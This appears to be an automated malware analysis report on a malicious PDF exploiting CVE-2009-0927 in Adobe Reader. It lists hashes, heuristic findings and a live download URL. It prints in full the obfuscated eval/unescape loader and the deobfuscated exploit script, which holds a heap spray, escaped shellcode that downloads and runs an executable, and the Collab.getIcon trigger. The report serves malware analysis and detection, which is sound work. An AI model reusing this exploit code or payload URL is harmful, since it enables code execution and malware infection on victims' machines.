Malicious PDF — malware analysis report

Static analysis result for SHA-256 9a6be31138c67059…

MALICIOUS

PDF

2.2 KB First seen: 2015-09-30
MD5: a92a92453a244a233aa1909ea83c97a0 SHA-1: 0f46dbdff03f465489e6ae3aa8dc594e79940a22 SHA-256: 9a6be31138c670591c284ff58db6c370296529e3539bd93f5d3811f9ba9a3049
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF document contains embedded JavaScript that utilizes eval() and unescape() functions, indicating obfuscation. The critical CVE-2009-0927 heuristic firing confirms the exploitation of this vulnerability via the Collab.getIcon method. The embedded JavaScript is likely responsible for downloading and executing a second-stage payload. The obfuscated nature of the script and the use of a known exploit suggest a malicious intent for payload delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://stepanola.in/irk2/l.php?i=6 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x148 297 bytes
SHA-256: 433d6141b5fc932a52d94051061c1f7566cbde37bb51ce636d76e20ed4ab2bf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x248 2631 bytes
SHA-256: a0820d36507b95cb8ce40d3e19d0c83a6fadb7fcc80347b341a16c9a7625c47b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var arry = new Array();function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}if (app.doc.Collab.getIcon){var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u732f%u6574%u6170%u6f6e%u616c%u692e%u2f6e%u7269%u326b%u6c2f%u702e%u7068%u693f%u363d%u9000");var hWq500CN = payload.length * 2;var len = 0x400000 - (hWq500CN + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){arry[vqcQD96y] = yarsp + payload;}var tUMhNbGw = unescape("	");while (tUMhNbGw.length < 0x4000){tUMhNbGw += tUMhNbGw;}tUMhNbGw = "N." + tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}

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